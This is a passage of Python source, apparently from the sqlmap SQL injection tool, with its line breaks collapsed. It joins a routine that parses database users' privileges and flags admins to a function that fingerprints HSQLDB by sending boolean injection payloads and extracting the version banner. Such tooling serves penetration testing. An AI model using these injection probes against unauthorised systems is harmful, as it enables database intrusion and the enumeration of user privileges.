PGSQL_PRIVS.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms( DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.upper() == "Y": for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins)
def checkDbms(self): """ References for fingerprint: DATABASE_VERSION() version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') version 2.2.5 added SYSTIMESTAMP function version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions version 2.2.0 added support for ROWNUM() function version 2.1.0 added MEDIAN aggregate function version < 2.0.1 added support for datetime ROUND and TRUNC functions version 2.0.0 added VALUES support version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA """ if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("CASEWHEN(1=1,1,0)=1") if result: infoMsg = "confirming %s" % DBMS.HSQLDB logger.info(infoMsg) result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) return False else: kb.data.has_information_schema = True Backend.setVersion(">= 1.7.2") setDbms("%s 1.7.2" % DBMS.HSQLDB) banner = self.getBanner() if banner: Backend.setVersion("= %s" % banner) else: if inject.checkBooleanExpression( "(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): Backend.setVersionList([">= 2.0.0", "< 2.3.0"]) else: banner = unArrayizeValue( inject.getValue( "\"org.hsqldbdb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) if banner: Backend.setVersion("= %s" % banner) else: Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.HSQLDB logger.warn(warnMsg) dbgMsg = "...or version is < 1.7.2" logger.debug(dbgMsg) return False